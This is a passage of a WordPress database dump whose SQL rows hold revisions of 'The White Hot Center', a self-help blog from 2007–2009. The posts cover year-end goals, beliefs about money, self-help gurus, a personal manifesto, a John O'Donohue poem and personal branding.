And I have been rain dancing in that field all year in belief that the rains will come in abundance, and new results will grow from my new ideas.&nbsp; Like all things in nature, the principals that guide creating what you want are simple and elegant:</p>\n\n<p>- make an irrevocable decision to put all your life’s energy into something you really love.</p>\n\n<p>- allow yourself to step away from your current considerations and results to craft a vision for living your life in alignment with what you love… and dream big!</p>\n\n<p>- use your powerful creative imagination. Develop the habit of seeing yourself experiencing your dream in hand, right now. </p>\n\n<p>- take a baby-step toward it, then another and another…every day.</p>\n\n<p>- believe in your vision and have 100 per cent faith that it is on its way to you right now.</p>\n\n<p>- pay no attention to your past results; keep your daily focus on your vision for a bigger future. What you focus your attention on grows in your life.</p>\n\n<p>- start from where you stand and with what you have right now and then be grateful.</p>\n\n<p>That is essentially the basic principal involved in creating what you desire in your life.&nbsp; Nothing complicated about it. And it works for everyone, including me!&nbsp; This year, I finally gained a deeper, practical understanding and awareness of how the results in my life get created. As a result, I am aligned with my purpose in life, I have a vision for what it looks like, and I have some exciting goals that are bites out of my vision. I am creating on purpose once again. This is fascinating and empowering for me.&nbsp; This deeper awareness has changed the trajectory of my life. </p>\n\n<p>Of course, there is no free lunch in the universe. This understanding came at a real price, both emotionally and financially. I had to be willing to be uncomfortable, to take greater risk and face head-on the challenges that come with growth and expansion.&nbsp; This willingness, and my ability to take action, is in direct proportion to my faith and belief that I deserve to have what I desire in life, and the universe wants me to have it too. Nature is always for growth and expansion. I had to learn to trust in this on-going, creative process completely. When you let go of the rope, you no longer can be in a tug-of war with life. Things seem to come together on their own, without strain and tension. Things start happening in an easy and relaxed way. (I have talked about this subject in earlier posts). Nature conspires to bring you what ever is necessary for the realization of your heart’s desire. </p>\n\n<p>I have some big goals for this coming year:</p>\n\n<p>-&nbsp; &nbsp; To establish my new marketing and design consulting firm (<a href="http://www.pullinc.com">www.pullinc.com</a>) at profitable levels attracting clients who value our contribution to their business success.</p>\n\n<p>-&nbsp; &nbsp; To continue to experiment with my own ideas and thought leadership in the areas of personal and professional success as a writer and teacher through this blog and grow its readership.</p>\n\n<p>-&nbsp; &nbsp; To continue to use my talents and experience to inspire people to create a bigger, better future for their personal and professional&nbsp; lives.</p>\n\n<p>-&nbsp; &nbsp; To continue to write and record my music, paint and practice my artistic pursuits and interests on a high level od expression<br /><br />-&nbsp; &nbsp; To continue to do all these things in an easy and relaxed way from my beautiful work / live environment in the middle of my orange grove here in Ojai, California.</p>\n\n<p>So all in all, this has been the year of transformation, growth and expansion. Life has been challenging for sure. But I sense a greater inner strength and calling.&nbsp; I have more energy and vitality for life. The seeds of my success are firmly planted in the “goo”… and I am fully engaged in the process of creating the life of my dreams. And even though I have no physical evidence as proof right now, I know my vision is already taking form and I will succeed.&nbsp; I am grateful for everything in my life right now and I look forward to the challenges that lie ahead in the coming new year.&nbsp; I want to do remarkable things in life... I want to experience how remarkable I really am. I want to leave here knowing I made a difference.</p>\n\n<p>I wish you all much happiness and success in every area of your life this coming year. Thank you all for reading my monthly posts on The White Hot Center. I really appreciate the support I have received from all of you.</p>\n\n<p>Happy New Year!</p>\n', 'Reflections at year-end...', 0, 'I have got my eyes on the horizon and I am looking out on my bigger, better future. This year, 2007, has been a most challenging year. I can’t truthfully say that I have been the least bit comfortable, satisfied...\n', 'inherit', 'open', 'open', '', '26-revision', '', '', '2007-12-17 11:40:00', '2007-12-17 18:40:00', '', 26, 'http://www.whitehotcenter.com/26-revision', 0, 'revision', '', 0),
(95, 1, '2008-08-29 16:03:55', '2008-08-29 23:03:55', '<p><a href="http://whc.fbdev.org/photos/uncategorized/2008/08/29/money.jpg"><img border="0" alt="Money" title="Money" src="http://whc.fbdev.org/whitehotcenter2/images/2008/08/29/money.jpg" style="margin: 0px 5px 5px 0px; float: left; width: 345px; height: 179px;" /></a></p><br /><br /><br /><br /><br /><br /><br /><br /><br /><p>Over the past year and half, I have had an on-going issue about Money. I have worried obsessively about earning it, saving it, investing it, and sharing it… my thoughts about Money have been stressful indeed. No wonder its flow into my scene has been restricted.&nbsp; After many years of doing nothing but earning Money in my business, I had seemingly lost my compass heading and began to drift aimlessly in my dilemma about Money.&nbsp; In the life long process of earning Money, somewhere along the line, I got confused and blended my self worth with my net worth. Not good... The less money I created, the less I valued who I am in the world. I believed my influence to create what I desired in life was based in large part on my financial affluence.</p>\n\n<!--more-->\n<p>In my year of blogging here at the WHC, I have not written a post about money. And in light of these so-called “hard times” we hear about now, the subject of money seems to be on everyone’s minds. OK, so let’s talk about money, money, and money!&nbsp; What is it– really?&nbsp; Why is it important?&nbsp; How do we get and keep more of it?&nbsp; </p>\n\n<p>Let’s start with a prevalent misconception concerning money – many believe that money isn’t important. How many times have you been in conversation with a person who says ”money isn’t everything” or, “I’m not doing this or that for the money”, or “I don’t care about money”?&nbsp; Well that’s bullshit. Money is important! </p>\n\n<p>Another misconception is the belief that the acquisition of money is a result of good luck or favorable circumstances. More bullshit.&nbsp; Money is an effect and, therefore, must be preceded by a cause– most notably passionate effort and disciplined action! There is no place in the universe where you can get something for nothing. </p>\n\n<p>At a functional level, Money is a grand organizing principle in the physical world facilitating the basis of both mundane and complex transactions of value between human beings– no news there. Far more important, in my view, is the notion that Money is a powerful symbol and effect of creative thought… money is the exhaust that follows worthy ideas that add great value to people.&nbsp; It is important to love people, use money… and not get that in reverse.</p>\n\n<p>Indeed, Money is very important and not very well understood by most people. Look around; it’s easy see the global turmoil people create over money.&nbsp; For an interesting point of view on Money, you might read Wallace Wattles'' <a href="http://www.certainway.com">&quot;The Science of Getting Rich&quot;</a><a href="http://www.certainway.com">.</a><a href="http://www.certainway.com">&nbsp;</a>Don''t let the title turn you off.&nbsp; I know the world is full of self-help-get rich quick crap... Written nearly a century ago, Wally offers some fascinating insight into unusual principals of money and wealth creation.&nbsp; Everybody wants to be rich, but so few of us really know what “real wealth” is. For most of my adult life, I had been clueless myself.&nbsp; My beliefs about money, had determined the quality of my relationship with money. In my case, I knew how to create it, but struggled to keep and grow it. There’s an old saying in the investment world “money goes where it’s treated best”.&nbsp; Our thoughts and beliefs about money determine the direction and quantity of its flow. Money needs to believe we are a solid investment if it is to grow in our lives. And if we don’t believe we are a solid investment, why should Money? </p>\n\n<p>Not to get too deep into physics here, but everything in the universe is, at its basic form, energy. Energy is always coming in and out of form. Existence is literally floating in an ocean of energy. I like to call this “the goo”.&nbsp; On the quantum level, this goo is a “thinking substance” essentially waves and particles, or formless potential.&nbsp; Quantum physics further suggests what one desires to observe (a wave or particle) becomes what is observed. By now you are asking yourself “what’s this have to do with money”? Well, everything! What comes into physical form is determined by the thought energy one injects into the goo. When it comes to money, many people unconsciously put these thoughts into the goo:</p>\n\n<p>-&nbsp; &nbsp; There’s never enough money.<br />-&nbsp; &nbsp; Rich people have all the money.<br />-&nbsp; &nbsp; You got to have money to make money.<br />-&nbsp; &nbsp; I’m not good with money.<br />-&nbsp; &nbsp; People with money are just plain lucky.</p>\n\n<p>Our beliefs and paradigms about money are simply a reflection of the beliefs we have about ourselves. If we have programmed into our subconscious mind to believe we are not valuable, our ideas not worthy, our circumstances too impossible, money believes it too! Few of us pause to think deeply about this idea. What you think into the formless goo naturally comes into form as the circumstances of your life. How much or how little Money shows up in your life is a reflection of how much or how little you think about your value to others. You must begin to realize that the present state of your bank account, business, social life, relationships, health and well being is a physical manifestation of your previous state of mind. Your experience of poverty or abundance is a result of your thought. </p>\n\n<p>Everyone worries about money from time to time. I‘ve learned from my own personal experience worrying about the lack of money is the absolute guaranteed way to continue to experience having less of the stuff.&nbsp; The higher truth is we are always surrounded by abundance. Nature knows no failure or lack of anything. If one is determined to create more money in life, one must begin to have greater awareness of the unseen forces that respond to our every thought. I would like to suggest that if you desire more money:</p>\n\n<p>-&nbsp; &nbsp; remember your life’s purpose– the reason you are here in the first place. Commit yourself to following that path by adding your gifts to the world.<br />-&nbsp; &nbsp; create a magnificent vision – a clear mental image of what you want your life to look like. Write it down as your “ideal scene” and read it daily, hourly if necessary.<br />-&nbsp; &nbsp; be in love with your worthy ideal, hold the image of it in your creative imagination.<br />-&nbsp; &nbsp; make a plan, set some goals and take daily action toward the realization of the clear mental image of your vision.<br />-&nbsp; &nbsp; never allow the evidence of your current circumstances in the physical world to overpower your belief&nbsp; that what you desire is on its way to you.</p>\n\n<p>If you really take the time to think this through, (as I did) you will begin to realize that everything in the physical world was at one time a formless thought–an idea. All accomplishment in life begins with a worthy ideal– a formless idea.&nbsp; We would not have air travel if flight were not first an idea in the minds of the Wright Brothers. Apple would not exist if it were not a formless clear mental image in Steve Jobs mind. And so it is with you and your worthy ideal.&nbsp; Visualize the Money you desire and feel yourself in possession of it now. This is not merely a mental exercise, but a powerful tool for you to use in the creative process of bringing into form a worthy idea that adds great value to people. Indeed, one must always provide greater use value than is received in cash value if you want to experience being a powerful money magnet. Exact laws of creation govern the universe–and so it is with the creation of money.</p>\n\n<p>And one more very important key to creating money– regardless of how much is currently noted on your bank statement, be grateful! Whatever that amount, it could be less or none at all… be grateful for everything in your life. It is impossible to experience poverty, lack and limitation when your thoughts are laser-focused on gratitude. </p>\n\n<p>Money in and of itself never made anyone happy and fulfilled… just more comfortable. Money is to be used, circulated, released, and never hoarded. Money is a servant and you are its master.</p>\n', 'Money, money, money!', 0, 'Over the past year and half, I have had an on-going issue about Money. I have worried obsessively about earning it, saving it, investing it, and sharing it… my thoughts about Money have been stressful indeed. No wonder its flow...\n', 'inherit', 'open', 'open', '', '24-revision', '', '', '2008-08-29 16:03:55', '2008-08-29 23:03:55', '', 24, 'http://www.whitehotcenter.com/24-revision', 0, 'revision', '', 0),
(97, 1, '2008-09-14 14:07:05', '2008-09-14 21:07:05', '<p><span style="font-size: 1.2em;color: #ff9933;">Gurus are everywhere in the self-help universe. Unlike, science, medicine, accounting, law and a host of other professions where there are significant barriers to entry, Self-Help Gurus are coming out of the woodwork in amazing numbers. Like acting, making it big as a self-help guru is mostly centered in the presentation style of ideas. It''s mostly schtick.&nbsp; Have an idea and an audience and you are in business. Marketing is at the heart of any Guru movement, but it seems particularly prevalent and most essential to Self-Help Gurus. The self-help movement has grown to become a multi-billion dollar industry. It is big business. The web has provided the perfect venue for this explosive growth. <br /><br /></span></p>\n\n<!--more-->\n<p>Now I don''t have anything against self-help gurus, their content or their business models per se.&nbsp; Having studied the<br />work of many of these so-called experts for nearly 10 years now, much of what they blather about is essentially all the same stuff.&nbsp; My concern is centered in the &quot;snake-oil-carnival-barker&quot; nature of how these people present themselves to the world. Most of it is, in my opinion, useless crap pretending to be the wisdom of the ages finally revealed. ( the &quot;Secret&quot; comes to mind.) If only life were that simple that all we need to do is think it and it will be so.&nbsp; PT Barnum''s immortal words &quot;there''s a sucker born every minute&quot; seems to have extra significance here.&nbsp; The law of attraction, visualization, and a host of other manifestation techniques are the stable diet for the poor masses who want to be rich...it''s easy for people to&nbsp; buy into the &quot;you can have anything you want&quot; if only you change your negative thinking. These Gurus are smart marketers, nothing more. Having spent 30 years in marketing, &quot;I knows it when I sees it&quot;...</p>\n\n<p>This blog is my own attempt at sharing a point of view about creating success in all areas of your life. And I believe that one can always be learning to grow and expand the quality of life''s experience. But growth and expansion in life is not a destination, it is a life-long process. There is no right technique or school of thought that has all the answers made simple... for $49.95</p>\n\n<p>In my own life, I have had to learn every lesson the hard way–through my own experience. Of course I wish that I would have had more mentors and teachers along the way, but life itself is the great mentor and teacher, but only if you are paying attention. Most of us simply get in our own way because we believe more in the compelling reality of our current limitations than the possibility of a life experience without limits. We don''t believe in the unseen forces that govern the nature of physical reality.</p>\n\n<p>For those people searching for a method to create more in life, I humbly offer mine for FREE:</p>\n\n<p>- you must have a deep understanding, belief and connection to your life''s purpose. All life-purposes seem to share a common attribute... serving others by using our unique gifts and talents.</p>\n\n<p>- you must have a vision about the expression of your life''s gift''s that is fueled by a passion (love) that is never-ending and always improving, growing and expanding. What is your &quot;ideal scene&quot;? Write it down in detail.</p>\n\n<p>- you must have the discipline to be accountable for your results. You create every circumstance in your life. If you don''t like your results, you must acknowledge the Truth of it, and begin new actions that are more in line with your purpose and your vision... this is a tough one for most people... many &quot;fall off the wagon&quot; here because they simply don''t know what they really want out of life.</p>\n\n<p>- you must &quot;allow&quot; your life to unfold in an easy and relaxed manner. Nothing in nature is forced to express itself. The same is true for you and your inspired ideas. Chill out and let go of all resistance. </p>\n\n<p>- you must be profoundly grateful and in full appreciation of EVERYTHING in your life right NOW. This is the biggest key to happiness and abundance.</p>\n\n<p>I''m no Guru... I don''t have a following and I am not charging money for the wisdom I have accured and share here. Mentors and teachers, whatever their form are useful indeed... but you must be the creative force in your life. No tape, no seminar, no Guru will make that journey for you. Creative living is an inside out process. You can discover it all by yourself, if you allow your mind to be still. I would like to suggest that you give my method some serious consideration and reflection. It only takes a human being 30 days to create or break a habit... try it and see if you don''t notice a shift in your awareness. And as always, please share your comments here.</p>\n', 'Too many Gurus...', 0, 'Gurus are everywhere in the self-help universe. Unlike, science, medicine, accounting, law and a host of other professions where there are significant barriers to entry, Self-Help Gurus are coming out of the woodwork in amazing numbers. Like acting, making it...\n', 'inherit', 'open', 'open', '', '23-revision', '', '', '2008-09-14 14:07:05', '2008-09-14 21:07:05', '', 23, 'http://www.whitehotcenter.com/23-revision', 0, 'revision', '', 0),
(99, 1, '2009-02-22 11:59:02', '2009-02-22 18:59:02', '<p style="color: #5b5b5b; font-size: 12px; text-align: left; font-family: Arial;">Everyone might benefit from writing a manifesto... a public declaration of principals that guide your actions in the world, and create an authentic identity around who you are, what you do with your life and how it matters to people. For me, this is a public declaration of the most important principals that guide my participation in life. I run all my thinking and decision-making through this filter.</p><p style="font-size: 12px; color: #5b5b5b; font-family: Arial;">My manifesto is the result of everything I have learned about living so far. It is a clear statement of what guides me to the grandest expression of all I am capable of and all I desire. I share mine as a reference point for you to think about crafting your own manifesto. When you have completed it to your satisfaction, display it in a public place where you and others can read it on a regular basis.</p><p style="font-size: 13px; text-align: left; font-family: Arial;"><strong><span style="color: #bf5f00;"><span style="font-size: 12px; font-family: Arial;">Thomson Dawson: A manifesto for living an extraordinary life.</span><br /><br />1&#0160; as you think, so it is<br />2&#0160; know what you want, be open for something better.<br />3&#0160; what you do must matter to you and others<br />4&#0160; start with what’s at hand<br />5&#0160; as you live in your days, you craft your futue<br />6&#0160; embrace simplicity<br />7&#0160; the best idea is the one you think can’t be done<br />8&#0160; be differnet, make a difference<br />9&#0160; provide more use value than you get in cash value<br />10 create / design experiences people love<br />11 people are more important than money<br />12&#0160; really listen<br />13&#0160; intuition over conventional wisdom<br />14&#0160; daydream often <br />15&#0160; focus on the important, handle the urgent<br />16&#0160; forget what you know<br />17&#0160; beware of comfort<br />18&#0160; leadership is service in disguise<br />19&#0160; to thine own self be true, no exceptions<br />20&#0160; play on the edges<br />21&#0160; give thanks, give back.&#0160;</span></strong></p><p style="color: #5b5b5b; font-size: 12px; text-align: left; font-family: Arial;">What inspired me to share my own Manifesto here on the WHC, was the result of an encounter with a brilliant woman named <a href="http://www.whitehottruth.com">Danielle Laporte</a>. Check her out and I highly recommend you engaging in her Firestarter Sessions. You&#39;ll be glad that you did!</p><p style="font-size: 12px; text-align: left; font-family: Arial;"> </p>\n', 'My White Hot Center Manifesto', 0, 'Everyone might benefit from writing a manifesto... a public declaration of principals that guide your actions in the world, and create an authentic identity around who you are, what you do with your life and how it matters to people....\n', 'inherit', 'open', 'open', '', '11-revision', '', '', '2009-02-22 11:59:02', '2009-02-22 18:59:02', '', 11, 'http://www.whitehotcenter.com/11-revision', 0, 'revision', '', 0);
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(101, 1, '2009-02-16 09:22:43', '2009-02-16 16:22:43', '<p><span style="font-size: 14px; color: #5b5b5b; font-family: Arial;">My friend and colleague Patrick Turner and I spend lots of time discussing ideas about starting anew. No matter where or in what circumstances, people seem to have an inherent knowledge about what is really important to them. They just don&#39;t trust it enough to take action on it because new beginnings don&#39;t start out in physical form. Most people need proof to trust an idea. Humans are not easily persuaded by ideas taken on faith.<br /></span><span style="font-size: 14px; color: #5b5b5b; font-family: Arial;"><br />In one of our recent idea sessions about having faith in new beginnings, Pat shared this poem with me, and I want to pass it on to you because it beautifully frames up this idea that there is a seed of knowledge within all of us about what really matters that awaits our conscious arrival. I hope you enjoy it as much as I did.</span></p><p><strong><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">For a New Beginning</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">&#0160;</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">In out-of-the-way places of the heart,</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">Where your thoughts never think to wander,</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">This beginning has been quietly forming,</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">Waiting until you were ready to emerge.</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">&#0160;</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">For a long time it has watched your desire,</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">Feeling the emptiness growing inside you,</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">Noticing how you willed yourself on,</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">Still unable to leave what you had outgrown.</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">&#0160;</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">It watched you play with the seduction of safety</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">And the gray promises that sameness whispered,</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">Heard the waves of turmoil rise and relent,</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">Wondered would you always live like this.</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">&#0160;</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">Then the delight, when your courage kindled,</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">And out you stepped onto new ground,</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">Your eyes young again with energy and dream,</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">A path of plenitude opening before you.</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">&#0160;</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">Though your destination is not yet clear</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">You can trust the promise of this opening;</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">Unfurl yourself into the grace of beginning</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">That is at one with your life&#39;s desire.</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">&#0160;</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">Awaken your spirit to adventure;</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">Hold nothing back, learn to find ease in risk;</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">Soon you will be home in a new rhythm,</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">For your soul senses the world that awaits you.</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">&#0160;</span><br /><span style="font-size: 14px; color: #bf5f00; font-family: Arial;">~ John O&#39;Donohue ~</span></strong></p><p><span style="font-weight: bold;">What are you waiting for?</span><br /><strong><span style="font-size: 14px; color: #bf5f00; font-family: Arial;"></span></strong></p>\n', 'A New Beginning', 0, 'My friend and colleague Patrick Turner and I spend lots of time discussing ideas about starting anew. No matter where or in what circumstances, people seem to have an inherent knowledge about what is really important to them. They just...\n', 'inherit', 'open', 'open', '', '12-revision', '', '', '2009-02-16 09:22:43', '2009-02-16 16:22:43', '', 12, 'http://www.whitehotcenter.com/12-revision', 0, 'revision', '', 0),
(105, 1, '2009-04-03 19:34:09', '2009-04-04 02:34:09', '<img class="at-xid-6a00d834d6625a69e201116856cec2970c" src="http://whc.fbdev.org/.a/6a00d834d6625a69e201116856cec2970c-320wi" alt="Fish" />\r\n<h2>I was watching some tropical fish in an aquarium the other day. I was sitting there, just watching them swim around bumping into the glass, peaking through the surface of the water, completely unaware of what they were swimming in.  Then I thought fish don’t even know they’re wet.  That gave me an idea…</h2>\r\n<p style="font-size: 14px; color: #737373; font-family: Arial;"><span style="color: #5b5b5b;">Much like fish, most people don’t know what they’re swimming in. People have little or no awareness to the truth of the stuff that makes up the physical reality we all swim in.  Like fish, we don’t know we’re wet.</span></p>\r\n<p style="font-size: 14px; color: #737373; font-family: Arial;"><span style="color: #5b5b5b;">We swim in a vast sea of thinking goo. All around us, yet unseen, is the stuff of possibility. In our rush to handle the urgency of our existence, we fail to see, and act on what is really important to us– what really matters. I would like to suggest if you are not involved with ideas and plans that really matter to you, then you are wasting valuable time. There is no better time than right now!  What you are doing right now is creating your future! Make sure it is in line with your passion, your greatest expression of all your unique gifts and talents. As you live in your days, you make your future. You have the power to make your life exactly as you desire. There is nothing in the outside world that can effect your future. Only you can do that. For the good, or not. The choice is always yours to make.</span></p>\r\n<p style="font-size: 14px; color: #737373; font-family: Arial;"><span style="color: #5b5b5b;">You can elevate your life by conscious endeavor, simply because you swim (live) in a thinking substance (potential manifestation) that is always favorable to your desires, infinite and abundant. The more you become aware of your creative nature and act on it, the more powerful you become and the richer your life experience will be.</span></p>', 'Fish Don''t Know They''re Wet', 0, 'I was watching some tropical fish in an aquarium the other day. I was sitting there, just watching them swim around bumping into the glass, peaking through the surface of the water, completely unaware of what they were swimming in....\r\n', 'inherit', 'open', 'open', '', '13-revision-2', '', '', '2009-04-03 19:34:09', '2009-04-04 02:34:09', '', 13, 'http://www.whitehotcenter.com/13-revision-2', 0, 'revision', '', 0),
(107, 1, '2009-04-04 16:54:19', '2009-04-04 23:54:19', '', 'attraction', 0, '', 'inherit', 'open', 'open', '', 'attraction', '', '', '2009-04-04 16:54:19', '2009-04-04 23:54:19', '', 14, 'http://www.whitehotcenter.com/wp-content/uploads/2009/01/attraction.gif', 0, 'attachment', 'image/gif', 0),
(108, 1, '2009-01-29 18:53:43', '2009-01-30 01:53:43', '<p><span style="text-align: left; font-size: 18px; color: #bf5f00; font-family: Arial;"><a href="http://whc.fbdev.org/.a/6a00d834d6625a69e201053702b6b1970c-pi" style="display: inline;"><img alt="Attraction" class="at-xid-6a00d834d6625a69e201053702b6b1970c " src="http://whc.fbdev.org/.a/6a00d834d6625a69e201053702b6b1970c-320wi" /></a> <br /></span></p><p><span style="text-align: left; font-size: 18px; color: #bf5f00; font-family: Arial;">With our economy in a tailspin, and people finally reconciling one of life’s great truths: there is no free lunch or job security– now is the perfect time to think about a brand new you. Or more to the point–a new brand: YOU! That’s right your brand–you.<br /><span style="color: #737373; font-size: 13px; font-family: Arial;"></span></span></p><p><span style="text-align: left; font-size: 18px; color: #bf5f00; font-family: Arial;"><span style="color: #737373; font-size: 14px; font-family: Arial;">Big marketers spend billions of dollars each year managing the perception of their brands in the hearts and minds of customers. For the most part, brand marketing is on-going, in good times and bad, marketers strive to harness the power of perception to influence behaviors and turn prospects into customers, and grow their enterprise. Brands connect with us on deep emotional levels. The sum total of a customer’s perception and experiences with a product, company or service is called a brand.&#0160; </span><br /><br /><span style="font-size: 14px; font-family: Arial;"><span style="color: #737373; font-size: 13px;">What’s this have to do with you? </span></span><br /><br /><span style="color: #737373; font-size: 14px; font-family: Arial;">Well… everything! </span><br /><span style="color: #737373; font-size: 14px; font-family: Arial;">Whether you know it or not, like a brand, the manner in which you face the world represents something about who you are, what you do and how you do it. People around you are constantly in an emotional state of connecting (or not) to your vibe. Your spouse, family, boss, colleagues, friends and your community at large (we’ll call these customers of your brand) are all experiencing some aspect of what your brand promises to them. In marketing parlance, we call this “brand experience”.<br /> </span><br /><span style="color: #bf5f00; font-size: 18px; font-family: Arial;">In these uncertain times, my suggestion is for you to take a good hard look at your brand. Are you an established leading brand, an innovative up-and-coming-brand, or a me-too discount brand thrown in the slush pile at the dollar store? </span><br /><br /><span style="font-size: 14px; font-family: Arial;"><span style="color: #737373; font-size: 13px;">A new brand: YOU is up to you.</span></span><br /><br /><span style="color: #737373; font-size: 14px; font-family: Arial;">Just like any product, YOU are a brand… you have an identity, a persona, a unique way of being in the world. You also have expertise, skill and talents that add value to people. To build a brand called YOU, you need to be clear on who you are, what you offer and why what you offer is important to people (customers).</span><br /><span style="color: #737373; font-size: 14px; font-family: Arial;"><br />When you are a brand… you will represent something meaningful beyond money making. You will have a solid value system that guides your decisions, you will make a promise of value that people need fulfilled, and you will deliver in accordance to your values. Or, stated another way, you keep your promises. As a result, your brand is trusted by people who will sing your praises to others. If you happen to find yourself flying solo without a net, a positive perception of your brand (you) is your biggest asset. As you grow the influence of your brand, your brand equity (the sum total of your good will) grows accordingly. YOU are a brand. There are three main components to what make up a brand. Like three legs of a stool, they must be in harmonious alignment. Let’s look closer:</span><br /><br /><span style="font-size: 14px; font-family: Arial;"><span style="color: #737373; font-size: 13px;">Brand Identity</span></span><br /><span style="color: #737373; font-size: 14px; font-family: Arial;">This is who you are, what values you represent, your heritage, your story, what you are called, and how you represent yourself in visible form.&#0160; Think about this for a minute. What is your brand identity? What do you stand for and represent? What makes you–you? Is your identity in the world aligned with your purpose? Are you true to yourself? Your brand identity distinguishes you from others and makes you unique and therefore special.</span><br /><br /><span style="font-size: 14px; font-family: Arial;"><span style="color: #737373; font-size: 13px;">Brand Utility</span></span><br /><span style="color: #737373; font-size: 14px; font-family: Arial;">This is what you do, your expertise and capability, your product, the thing you do to create value. Value creation is the foundation of a brand’s utility. Think about how you might continuously improve your product (you) to create more value for the people in your life (customers).</span><br /><br /><span style="font-size: 14px; font-family: Arial;"><span style="color: #737373; font-size: 13px;">Brand Promise</span></span><br /><span style="color: #737373; font-size: 14px; font-family: Arial;">This is what customers (people in your life) believe their benefits are in associating with your brand. It is your unique value proposition to your customers.&#0160; Think about your brand promise. What value can you create? Do you over promise and under deliver?&#0160; </span><br /><br /><span style="color: #737373; font-size: 14px; font-family: Arial;">When these three components are all in sync you will have created a compelling, consistent and positive set of thoughts and associations in your customer’s minds. When (customers) people in your life think of your brand (you), naturally you want it to be uplifting and inspiring.&#0160; In marketing speak; we call this “brand image”. Conversely, when these components are not in sync, the components still form a perception in people’s minds–it’s just not positive.&#0160; </span><br /><br /><span style="color: #737373; font-size: 14px; font-family: Arial;">And when customers (people in your life) have positive associations with your brand over time, you will have “brand equity” – the power within you to influence and make things happen in life that you desire. You will “own” the influence to shift demand for your offerings toward you and change things in your life for the better of all concerned.&#0160; Your brand is your foundation on which your dreams and desires in life are built upon. Give this some thought. I’ll leave you with one question:</span><br /><br /><span style="color: #737373; font-size: 14px; font-family: Arial;"><strong>“What great work truly matters to you?</strong> <br />When you know the answer, build your brand equity in that direction. As always, I welcome your thoughts…to your continued success. </span><br /><span style="color: #737373; font-size: 13px; font-family: Arial;">&#0160;</span><br /><br /></span></p>\n', 'A new brand:YOU', 0, 'With our economy in a tailspin, and people finally reconciling one of life’s great truths: there is no free lunch or job security– now is the perfect time to think about a brand new you. Or more to the point–a...\n', 'inherit', 'open', 'open', '', '14-revision', '', '', '2009-01-29 18:53:43', '2009-01-30 01:53:43', '', 14, 'http://www.whitehotcenter.com/14-revision', 0, 'revision', '', 0),
(110, 1, '2009-04-04 17:04:02', '2009-04-05 00:04:02', '', 'rule06', 0, '', 'inherit', 'open', 'open', '', 'rule06', '', '', '2009-04-04 17:04:02', '2009-04-05 00:04:02', '', 15, 'http://www.whitehotcenter.com/wp-content/uploads/2008/12/rule06.jpg', 0, 'attachment', 'image/jpeg', 0),
(111, 1, '2008-12-31 12:50:20', '2008-12-31 19:50:20', '<div style="text-align: left;"><div style="text-align: left;"><a href="http://whc.fbdev.org/.a/6a00d834d6625a69e20105369fcdaa970b-pi" style="float: left;"><img alt="No6" border="0" class="at-xid-6a00d834d6625a69e20105369fcdaa970b " src="http://whc.fbdev.org/.a/6a00d834d6625a69e20105369fcdaa970b-800wi" style="margin: 0px 5px 5px 0px;" title="No6" /></a><span style="font-size: 11px; color: #434343; font-family: Arial;"><br /><br /><br /><br /><span style="font-size: 12px; font-family: Arial;">Of course, the year-end seems to be the quintessential time for reflection and goal-setting that many people embrace, and I am no exception.&#0160; </span></span><br /><br /><span style="font-size: 12px; color: #434343; font-family: Arial;">I don’t know if it’s just me, but year-end goal setting can seemingly feel like this big laborious angst-ridden process. One where you feel compelled to have big goals and big dreams with well-thought out plans on how to get there by such and such date… and be accountable for the results! Plus there is a subtle, but pervasive side effect in the process that it’s all about me, me, me… my goals, my wants. The self-help / personal development industry is rife with methods on having goals, goal setting , achievement and manifestation. At the risk of adding to that slush pile, I want to share with you my own point of view on this year-end ritual.</span><br /><br /><span style="font-size: 12px; color: #434343; font-family: Arial;">In my view, what is more important than the achievement of any goal is the on-going pursuit of goals that are deeply important to us. When our aspirations are powered by the energy of our deep love for an idea / vision / dream, the pursuit is so much easier, and the achievement more likely. Like breathing, the pursuit of a worthy idea is necessary for life itself– as in meaningful life.&#0160; Committing our creative energy through a discipline of aligned thought and action toward goals we value in a different currency than that of the “measurement world” is a sacred practice.&#0160; At this level, we know our desire for achievement is not driven by the metrics of the competitive plane, but by the infinite opportunity available in the creative plane.&#0160; It’s a different ball-game altogether. </span><br /><br /><span style="font-size: 12px; color: #434343; font-family: Arial;">Most people set goals that are not really that important to them mainly because they chose goals based on their acceptance and approval of the outside world. Our media soaked culture has tremendous influence on our choices.&#0160; To loss weight, spend less, quit smoking and drinking are all good goals, but they always seem to fade in importance as the year goes on and our focus is distracted by our daily urgencies.</span><br /><br /><span style="font-size: 12px; color: #434343; font-family: Arial;">You will never achieve any goal you set for yourself, no matter the time of year, unless it is powered by your own unbridled Love of it. Without Love, you won’t believe that your goal is really possible for you to achieve. 